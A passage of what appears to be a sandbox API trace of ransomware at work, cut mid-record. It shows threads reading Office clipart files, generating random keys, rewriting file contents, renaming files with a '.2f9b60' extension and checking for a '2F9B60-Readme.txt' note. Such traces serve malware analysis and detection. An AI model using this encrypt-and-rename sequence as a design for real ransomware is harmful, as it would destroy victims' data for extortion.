RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860330 [0108.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fa60 [0108.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fa60) returned 1 [0108.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867e40) returned 1 [0108.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0108.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0108.138] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="cc") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="93") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="3e") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="45") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="01") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="0c") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="3a") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="fe") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="11") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="93") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="5d") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="6a") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="db") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="18") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="4f") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="84") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="03") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="92") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="3c") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="3e") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="1a") returned 2 [0108.138] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="d5") returned 2 [0108.139] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="79") returned 2 [0108.139] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="e9") returned 2 [0108.139] RtlInitAnsiString (in: DestinationString=0x2c05fa28, SourceString="cc933e45010c3afe11935d6adb184f8403923c3e1ad579e9" | out: DestinationString="cc933e45010c3afe11935d6adb184f8403923c3e1ad579e9") [0108.139] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c05f9f8, SourceString="cc933e45010c3afe11935d6adb184f8403923c3e1ad579e9", AllocateDestinationString=1 | out: DestinationString="cc933e45010c3afe11935d6adb184f8403923c3e1ad579e9") returned 0x0 [0108.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced62e0 [0108.139] wcscat (in: _Dest=0x205006d0, _Source="cc933e45010c" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cc933e45010c") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cc933e45010c" [0108.139] wcscat (in: _Dest=0x205006d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cc933e45010c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cc933e45010c.2f9b60" [0108.139] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cc933e45010c.2f9b60", NtPathName=0x2c05f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\cc933e45010c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0108.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x420600b0 [0108.140] NtSetInformationFile (FileHandle=0xe18, IoStatusBlock=0x2c05fa70, FileInformation=0x420600b0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420600b0) returned 1 [0109.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027cdd0) returned 1 [0109.827] NtQueryInformationFile (in: FileHandle=0xe18, IoStatusBlock=0x2c05fa38, FileInformation=0x2c05fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c05fa38, FileInformation=0x2c05fa48) returned 0x0 [0109.827] NtSetInformationFile (FileHandle=0xe18, IoStatusBlock=0x2c05fa38, FileInformation=0x2c05fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205006d0) returned 1 [0109.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced62e0) returned 1 [0109.862] FlushFileBuffers (hFile=0xe18) returned 1 [0109.865] CloseHandle (hObject=0xe18) returned 1 [0109.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x205006d0 [0109.867] wcscpy (in: _Dest=0x205006d0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.867] wcscat (in: _Dest=0x205006d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205006d0) returned 1 [0109.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4bc80) returned 1 Thread: id = 699 os_tid = 0x11d0 [0096.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0107.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF", dwFileAttributes=0x20) returned 1 [0107.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1760 [0107.996] GetFileSizeEx (in: hFile=0x1760, lpFileSize=0x2c1ff680 | out: lpFileSize=0x2c1ff680*=8492) returned 1 [0107.996] SetFilePointerEx (in: hFile=0x1760, liDistanceToMove=0x2128, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.996] ReadFile (in: hFile=0x1760, lpBuffer=0x2c1ff600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c1ff648, lpOverlapped=0x0 | out: lpBuffer=0x2c1ff600*, lpNumberOfBytesRead=0x2c1ff648*=0x4, lpOverlapped=0x0) returned 1 [0108.023] SetFilePointerEx (in: hFile=0x1760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.023] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0108.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602a0 [0108.024] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8601e0 [0108.024] NtQuerySystemTime (in: CurrentTime=0x2c1ff540 | out: CurrentTime=0x2c1ff540*=132462177135130000) returned 0x0 [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x2140db74 [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x24e705be [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x64978486 [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x428b71aa [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x2cdcade4 [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x7c4c6459 [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x79a29af5 [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x36a1e5ee [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x1c7cc97b [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x161e19ed [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x46a8c25 [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x2a69bc4f [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x53154662 [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x7a8cb2d0 [0108.024] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x3c4fa4e4 [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x3dd4d0ab [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x60aaa94a [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x5271d5cf [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x41581d04 [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x2bc15fab [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x6d58ae49 [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x28354701 [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x222082cb [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x3be2c7ac [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x39fd4e9e [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x3384bdb1 [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x426667b3 [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x25a2718c [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x299ba360 [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x77388686 [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x196c234a [0108.025] RtlRandomEx (in: Seed=0x2c1ff530 | out: Seed=0x2c1ff530) returned 0x78b5b95d [0108.040] ReadFile (in: hFile=0x1760, lpBuffer=0x41e62d00, nNumberOfBytesToRead=0x212c, lpNumberOfBytesRead=0x2c1ff530, lpOverlapped=0x0 | out: lpBuffer=0x41e62d00*, lpNumberOfBytesRead=0x2c1ff530*=0x212c, lpOverlapped=0x0) returned 1 [0108.090] SetFilePointerEx (in: hFile=0x1760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.090] WriteFile (in: hFile=0x1760, lpBuffer=0x41e66910*, nNumberOfBytesToWrite=0x212c, lpNumberOfBytesWritten=0x2c1ff534, lpOverlapped=0x0 | out: lpBuffer=0x41e66910*, lpNumberOfBytesWritten=0x2c1ff534*=0x212c, lpOverlapped=0x0) returned 1 [0161.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a32f0 [0161.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3320 [0161.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3320) returned 1 [0161.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e66910) returned 1 [0161.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e62d00) returned 1 [0161.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0161.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0161.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a3320 [0161.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0161.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866940 [0161.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3350 [0161.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3350) returned 1 [0161.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a3350 [0161.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3380 [0161.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a33b0 [0161.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a33b0) returned 1 [0161.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866940) returned 1 [0161.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0161.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce13d30 [0161.095] SetFilePointerEx (in: hFile=0x1760, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.096] WriteFile (hFile=0x1760, lpBuffer=0x1ce13d30, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2c1ff650, lpOverlapped=0x0) [0200.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420593d0 [0200.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420614b0 [0200.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa950 [0200.194] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa950) returned 1 [0200.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f0e0 [0200.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa950 [0200.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa9b0 [0200.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa9b0) returned 1 [0200.195] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420614b0) returned 1 [0200.196] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420593d0) returned 1 [0200.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8040 [0200.196] sprintf (in: _Dest=0x1b7d8040, _Format="%c%c" | out: _Dest="66") returned 2 [0200.196] sprintf (in: _Dest=0x1b7d8042, _Format="%c%c" | out: _Dest="7b") returned 2 [0200.196] sprintf (in: _Dest=0x1b7d8044, _Format="%c%c" | out: _Dest="e5") returned 2 [0200.196] sprintf (in: _Dest=0x1b7d8046, _Format="%c%c" | out: _Dest="88") returned 2 [0200.196] sprintf (in: _Dest=0x1b7d8048, _Format="%c%c" | out: _Dest="91") returned 2 [0200.196] sprintf (in: _Dest=0x1b7d804a, _Format="%c%c" | out: _Dest="f8") returned 2 [0200.196] sprintf (in: _Dest=0x1b7d804c, _Format="%c%c" | out: _Dest="0c") returned 2 [0200.196] sprintf (in: _Dest=0x1b7d804e, _Format="%c%c" | out: _Dest="41") returned 2 [0200.196] sprintf (in: _Dest=0x1b7d8050, _Format="%c%c" | out: _Dest="c0") returned 2 [0200.196] sprintf (in: _Dest=0x1b7d8052, _Format="%c%c" | out: _Dest="c7") returned 2 [0200.196] sprintf (in: _Dest=0x1b7d8054, _Format="%c%c" | out: _Dest="79") returned 2 [0200.196] sprintf (in: _Dest=0x1b7d8056, _Format="%c%c" | out: _Dest="3e") returned 2 [0200.197] sprintf (in: _Dest=0x1b7d8058, _Format="%c%c" | out: _Dest="37") returned 2 [0200.197] sprintf (in: _Dest=0x1b7d805a, _Format="%c%c" | out: _Dest="6a") returned 2 [0200.197] sprintf (in: _Dest=0x1b7d805c, _Format="%c%c" | out: _Dest="1c") returned 2 [0200.197] sprintf (in: _Dest=0x1b7d805e, _Format="%c%c" | out: _Dest="c3") returned 2 [0200.197] sprintf (in: _Dest=0x1b7d8060, _Format="%c%c" | out: _Dest="f1") returned 2 [0200.197] sprintf (in: _Dest=0x1b7d8062, _Format="%c%c" | out: _Dest="56") returned 2 [0200.197] sprintf (in: _Dest=0x1b7d8064, _Format="%c%c" | out: _Dest="77") returned 2 [0200.197] sprintf (in: _Dest=0x1b7d8066, _Format="%c%c" | out: _Dest="c5") returned 2 [0200.197] sprintf (in: _Dest=0x1b7d8068, _Format="%c%c" | out: _Dest="3e") returned 2 [0200.197] sprintf (in: _Dest=0x1b7d806a, _Format="%c%c" | out: _Dest="38") returned 2 [0200.197] sprintf (in: _Dest=0x1b7d806c, _Format="%c%c" | out: _Dest="70") returned 2 [0200.197] sprintf (in: _Dest=0x1b7d806e, _Format="%c%c" | out: _Dest="4e") returned 2 [0200.197] RtlInitAnsiString (in: DestinationString=0x2c1ff6c8, SourceString="667be58891f80c41c0c7793e376a1cc3f15677c53e38704e" | out: DestinationString="667be58891f80c41c0c7793e376a1cc3f15677c53e38704e") [0200.197] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c1ff698, SourceString="667be58891f80c41c0c7793e376a1cc3f15677c53e38704e", AllocateDestinationString=1 | out: DestinationString="667be58891f80c41c0c7793e376a1cc3f15677c53e38704e") returned 0x0 [0200.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430a0590 [0200.198] wcscat (in: _Dest=0x431e3ee0, _Source="667be58891f8" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\667be58891f8") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\667be58891f8" [0200.198] wcscat (in: _Dest=0x431e3ee0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\667be58891f8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\667be58891f8.2f9b60" [0200.198] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\667be58891f8.2f9b60", NtPathName=0x2c1ff670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\667be58891f8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x431ed620 [0243.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ed620) returned 1 [0243.587] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42cc9d00) returned 1 [0243.587] NtQueryInformationFile (in: FileHandle=0x1760, IoStatusBlock=0x2c1ff6d8, FileInformation=0x2c1ff6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c1ff6d8, FileInformation=0x2c1ff6e8) returned 0x0 [0243.587] NtSetInformationFile (FileHandle=0x1760, IoStatusBlock=0x2c1ff6d8, FileInformation=0x2c1ff6e8, Length=0x28, FileInformationClass=0x4) Thread: id = 700 os_tid = 0x11d4 [0096.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0107.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF", dwFileAttributes=0x20) returned 1 [0107.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17a8 [0107.972] GetFileSizeEx (in: hFile=0x17a8, lpFileSize=0x2c3ffaa0 | out: lpFileSize=0x2c3ffaa0*=7804) returned 1 [0107.972] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x1e78, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.972] ReadFile (in: hFile=0x17a8, lpBuffer=0x2c3ffa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c3ffa68, lpOverlapped=0x0 | out: lpBuffer=0x2c3ffa20*, lpNumberOfBytesRead=0x2c3ffa68*=0x4, lpOverlapped=0x0) returned 1 [0107.977] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860450 [0107.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860270 [0107.977] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860120 [0107.977] NtQuerySystemTime (in: CurrentTime=0x2c3ff960 | out: CurrentTime=0x2c3ff960*=132462177134662000) returned 0x0 [0107.977] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x32b440aa [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x7be7fe8d [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0xa8679ac [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x71e22d16 [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x224114f4 [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x7790f9fa [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x78a4bf4f [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x58129ec8 [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x12fa2031 [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x164c1795 [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x36580f3c [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x2ed845c1 [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x73d791c7 [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x5f65836a [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x65e44467 [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x39aae703 [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x74e69759 [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x77a8fe8b [0107.978] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x4702e7aa [0107.979] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x7ff29fb6 [0107.979] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x6f6c35ce [0107.979] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x196ce2b2 [0107.979] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x26ed18d6 [0107.979] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x7f0bc5aa [0107.979] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x44137336 [0107.979] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x38db39bf [0107.979] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x173ab10a [0107.979] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x5a5e8922 [0107.979] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x474c18fd [0107.979] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x5683fca5 [0107.979] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x510a9aed [0107.979] RtlRandomEx (in: Seed=0x2c3ff950 | out: Seed=0x2c3ff950) returned 0x537c6592 [0107.993] ReadFile (in: hFile=0x17a8, lpBuffer=0x41e5b4e0, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x2c3ff950, lpOverlapped=0x0 | out: lpBuffer=0x41e5b4e0*, lpNumberOfBytesRead=0x2c3ff950*=0x1e7c, lpOverlapped=0x0) returned 1 [0108.021] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.021] WriteFile (in: hFile=0x17a8, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x1e7c, lpNumberOfBytesWritten=0x2c3ff954, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x2c3ff954*=0x1e7c, lpOverlapped=0x0) returned 1 [0108.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8602d0 [0108.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8604b0 [0108.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8604b0) returned 1 [0108.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0108.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5b4e0) returned 1 [0108.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0108.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd976c0) returned 1 [0108.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8604b0 [0108.089] SetFilePointerEx (in: hFile=0x17a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, 